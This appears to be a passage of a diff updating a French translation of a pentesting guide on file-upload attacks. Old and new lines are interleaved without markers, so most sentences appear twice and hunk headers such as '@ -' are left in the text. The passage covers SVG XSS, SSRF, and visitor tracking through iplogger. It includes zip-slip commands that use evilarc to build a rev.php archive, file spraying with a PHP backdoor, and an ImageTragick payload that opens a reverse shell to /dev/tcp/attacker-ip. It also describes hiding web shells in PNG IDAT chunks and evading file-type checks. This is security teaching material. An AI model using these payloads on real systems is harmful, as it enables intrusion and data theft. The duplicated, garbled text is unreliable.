- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Essayez **différents svg payloads** depuis [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Si vous pouvez **indiquer au serveur web de récupérer une image depuis une URL**, vous pourriez tenter d'abuser d'un [SSRF](../ssrf-server-side-request-forgery/index.html). Si cette **image** va être **enregistrée** sur un site **public**, vous pourriez aussi indiquer une URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) et **voler des informations de chaque visiteur**.
- Si vous pouvez **indiquer au serveur web de récupérer une image depuis une URL** vous pouvez tenter d'abuser d'un [SSRF](../ssrf-server-side-request-forgery/index.html). Si cette **image** doit être **saved** sur un site **public**, vous pouvez aussi indiquer une URL depuis [https://iplogger.org/invisible/](https://iplogger.org/invisible/) et **voler les informations de chaque visiteur**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- PDFs spécialement conçus pour XSS : la [page suivante présente comment **injecter des données PDF pour obtenir une exécution JS**](../xss-cross-site-scripting/pdf-injection.md). Si vous pouvez uploader des PDF, vous pourriez préparer un PDF qui exécutera du JS arbitraire en suivant les indications données.
- Uploader le [eicar](https://secure.eicar.org/eicar.com.txt) pour vérifier si le serveur possède un **antivirus**
- Vérifiez s'il existe une **limite de taille** lors de l'upload de fichiers
- PDFs spécialement conçus pour XSS : la [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Si vous pouvez upload des PDFs, vous pourriez préparer un PDF qui exécutera du JS arbitraire en suivant les indications fournies.
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content pour vérifier si le serveur dispose d'un **antivirus**
- Vérifiez s'il existe une **limite de taille** lors de l'upload des fichiers
Voici un top 10 des choses que vous pouvez accomplir en uploadant (d'après [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Voici un top 10 des choses que vous pouvez réaliser en uploadant (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
@ -234,20 +275,20 @@ Voici un top 10 des choses que vous pouvez accomplir en uploadant (d'après [her
https://github.com/portswigger/upload-scanner
{{#endref}}
## Magic Header Bytes
## Octets magiques d'en-tête
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
- **JPG**: `"\xff\xd8\xff"`
Consultez [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) pour d'autres types de fichiers.
## Upload Zip/Tar automatiquement décompressé
## Upload de ZIP/Tar automatiquement décompressé
Si vous pouvez uploader un ZIP qui va être décompressé sur le serveur, vous pouvez faire 2 choses :
### Symlink
Uploader une archive contenant des liens symboliques vers d'autres fichiers ; ensuite, en accédant aux fichiers décompressés vous accéderez aux fichiers liés :
Uploadez une archive contenant des soft links vers d'autres fichiers, puis, en accédant aux fichiers décompressés vous accéderez aux fichiers liés :
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -255,25 +296,24 @@ tar -cvf test.tar symindex.txt
```
### Décompresser dans différents dossiers
La création inattendue de fichiers dans des répertoires lors de la décompression est un problème important. Malgré les hypothèses initiales selon lesquelles cette configuration pourrait protéger contre OS-level command execution via des uploads de fichiers malveillants, le support de la compression hiérarchique et les capacités de directory traversal du format d'archive ZIP peuvent être exploités. Cela permet aux attaquants de contourner les restrictions et d'échapper aux répertoires d'upload sécurisés en manipulant la fonctionnalité de décompression de l'application ciblée.
La création inattendue de fichiers dans des répertoires lors de la décompression est un problème important. Bien que l'on puisse initialement supposer que cette configuration protège contre l'exécution de commandes au niveau OS (OS-level) via des uploads de fichiers malveillants, la prise en charge de la compression hiérarchique et les capacités de directory traversal du format d'archive ZIP peuvent être exploitées. Cela permet aux attaquants de contourner les restrictions et d'échapper aux répertoires d'upload sécurisés en manipulant la fonctionnalité de décompression de l'application ciblée.
Un exploit automatisé pour générer de tels fichiers est disponible sur [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). L'utilitaire peut être utilisé comme suit :
Un exploit automatisé pour créer de tels fichiers est disponible à [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). L'utilitaire peut être utilisé comme suit :
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
De plus, le **symlink trick with evilarc** est une option.
De plus, l'option **symlink trick with evilarc** est possible. Si l'objectif est de cibler un fichier comme `/flag.txt`, un symlink vers ce fichier doit être créé sur votre système. Cela garantit qu'evilarc ne rencontre pas d'erreurs lors de son exécution.
Si l'objectif est de cibler un fichier comme `/flag.txt`, un symlink vers ce fichier doit être créé sur votre système. Cela garantit qu'evilarc ne rencontre pas d'erreurs lors de son fonctionnement.
Voici un exemple de code Python utilisé pour créer un fichier zip malveillant :
Ci-dessous un exemple de code Python utilisé pour créer un fichier zip malveillant :
```python
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
@ -286,9 +326,9 @@ zip.close()
create_zip()
```
**Abuser de la compression pour le file spraying**
**Abuser la compression pour file spraying**
Pour plus de détails, **consultez l'article original** : [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
Pour plus de détails **consultez l'article original**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Création d'un PHP Shell**: Du code PHP est écrit pour exécuter des commandes transmises via la variable `$_REQUEST`.
@ -307,50 +347,50 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Modification avec un Hex Editor ou vi**: Les noms des fichiers à l'intérieur du zip sont modifiés en utilisant vi ou un hex editor, en remplaçant "xxA" par "../" pour traverser les répertoires.
3. **Modification avec un éditeur hexadécimal ou vi**: Les noms des fichiers à l'intérieur du zip sont modifiés avec vi ou un éditeur hexadécimal, remplaçant "xxA" par "../" pour parcourir les répertoires.
```bash
:set modifiable
:%s/xxA/..\//g
:%s/xxA/../g
:x!
```
## ImageTragic
Téléversez ce contenu avec une extension d'image pour exploiter la vulnérabilité **(ImageMagick, 7.0.1-1)** (à partir de l'[exploit](https://www.exploit-db.com/exploits/39767))
Téléversez ce contenu avec une extension image pour exploiter la vulnérabilité **(ImageMagick , 7.0.1-1)** (voir l'[exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## Intégration d'un PHP shell dans un PNG
## Intégration d'un shell PHP dans un PNG
Intégrer un PHP shell dans le chunk IDAT d'un fichier PNG peut contourner efficacement certaines opérations de traitement d'image. Les fonctions `imagecopyresized` et `imagecopyresampled` de PHP-GD sont particulièrement pertinentes dans ce contexte, car elles sont couramment utilisées pour redimensionner et rééchantillonner les images, respectivement. La capacité du PHP shell intégré à rester intact malgré ces opérations est un avantage majeur pour certains cas d'utilisation.
L'intégration d'un shell PHP dans le chunk IDAT d'un fichier PNG peut contourner efficacement certaines opérations de traitement d'image. Les fonctions `imagecopyresized` et `imagecopyresampled` de PHP-GD sont particulièrement pertinentes dans ce contexte, car elles sont couramment utilisées pour redimensionner et rééchantillonner les images, respectivement. Le fait que le shell PHP intégré reste intact après ces opérations constitue un avantage important dans certains cas d'utilisation.
Une exploration détaillée de cette technique, y compris sa méthodologie et ses applications potentielles, est fournie dans l'article suivant : ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Cette ressource offre une compréhension complète du processus et de ses implications.
Une exploration détaillée de cette technique, incluant sa méthodologie et ses applications potentielles, est fournie dans l'article suivant : ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Cette ressource offre une compréhension approfondie du processus et de ses implications.
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
Plus d'informations : [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Fichiers polyglottes
Les fichiers polyglottes sont un outil particulier en cybersécurité, agissant comme des caméléons pouvant valablement exister dans plusieurs formats de fichiers simultanément. Un exemple intrigant est un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un hybride qui fonctionne à la fois comme GIF et archive RAR. Ces fichiers ne se limitent pas à cette combinaison ; des associations comme GIF et JS ou PPT et JS sont également possibles.
Les fichiers polyglottes sont un outil unique en cybersécurité, agissant comme des caméléons pouvant exister valablement dans plusieurs formats de fichiers simultanément. Un exemple intriguant est le [GIFAR](https://en.wikipedia.org/wiki/Gifar), un hybride qui fonctionne à la fois comme un GIF et comme une archive RAR. Ces fichiers ne se limitent pas à cette combinaison ; des associations comme GIF et JS ou PPT et JS sont également possibles.
L'utilité principale des fichiers polyglottes réside dans leur capacité à contourner des mesures de sécurité qui filtrent les fichiers selon leur type. Dans de nombreuses applications, la pratique courante consiste à n'autoriser que certains types de fichiers pour l'upload — comme JPEG, GIF ou DOC — afin d'atténuer le risque posé par des formats potentiellement dangereux (par ex. JS, PHP ou Phar). Cependant, un polyglotte, en respectant les critères structurels de plusieurs types de fichiers, peut furtivement contourner ces restrictions.
L'utilité principale des polyglottes réside dans leur capacité à contourner les contrôles qui filtrent les fichiers selon leur type. Dans de nombreuses applications, la pratique courante consiste à n'autoriser que certains types de fichiers en upload — comme JPEG, GIF ou DOC — pour réduire le risque lié à des formats potentiellement dangereux (par ex., JS, PHP ou Phar). Cependant, un polyglotte, en respectant les critères structurels de plusieurs types de fichiers, peut discrètement contourner ces restrictions.
Malgré leur adaptabilité, les polyglottes rencontrent des limites. Par exemple, alors qu'un polyglotte peut incarner simultanément un fichier PHAR (PHp ARchive) et un JPEG, le succès de son upload peut dépendre de la politique d'extensions du site. Si le système est strict sur les extensions autorisées, la simple dualité structurelle d'un polyglotte peut ne pas suffire à garantir son upload.
Malgré leur adaptabilité, les polyglottes présentent des limites. Par exemple, même si un polyglotte peut incarner à la fois un fichier PHAR (PHp ARchive) et un JPEG, la réussite de son upload peut dépendre des règles d'extension du système. Si la plateforme est stricte sur les extensions autorisées, la simple dualité structurelle d'un polyglotte peut ne pas suffire à garantir son upload.
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
Plus d'informations : [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Upload valid JSONs like if it was PDF
### Télécharger des JSON valides en les faisant passer pour un PDF
How to avoid file type detections by uploading a valid JSON file even if not allowed by faking a PDF file (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
Comment éviter la détection du type de fichier en uploadant un fichier JSON valide même si ce n'est pas autorisé, en le faisant passer pour un PDF (techniques tirées de **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**) :
- **`mmmagic` library** : Tant que les octets magiques `%PDF` se trouvent dans les 1024 premiers octets, c’est considéré comme valide (voir l'exemple dans l'article)
- **`pdflib` library** : Ajouter un faux format PDF à l’intérieur d’un field du JSON pour que la bibliothèque pense que c’est un PDF (voir l'exemple dans l'article)
- **`file` binary** : Il peut lire jusqu'à 1048576 bytes d'un fichier. Il suffit de créer un JSON plus grand que cela pour qu'il ne puisse pas parser le contenu comme du JSON, puis à l'intérieur du JSON placer la partie initiale d'un vrai PDF et il pensera que c'est un PDF
- **`mmmagic` library** : Tant que les octets magiques `%PDF` se trouvent dans les 1024 premiers octets, il est considéré comme valide (voir exemple dans l'article)
- **`pdflib` library** : Ajouter un faux format PDF à l'intérieur d'un champ du JSON afin que la library pense que c'est un pdf (voir exemple dans l'article)
- **`file` binary** : Il peut lire jusqu'à 1048576 bytes d'un fichier. Il suffit de créer un JSON plus grand que cela pour qu'il ne puisse pas analyser le contenu en tant que json et ensuite, à l'intérieur du JSON, placer la partie initiale d'un vrai PDF et il le considérera comme un PDF
## References
## Références
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
@ -359,6 +399,9 @@ How to avoid file type detections by uploading a valid JSON file even if not all
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
- [usd HeroLab – Gibbon LMS arbitrary file write (CVE-2023-45878)](https://herolab.usd.de/security-advisories/usd-2023-0025/)
- [NVD – CVE-2023-45878](https://nvd.nist.gov/vuln/detail/CVE-2023-45878)
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)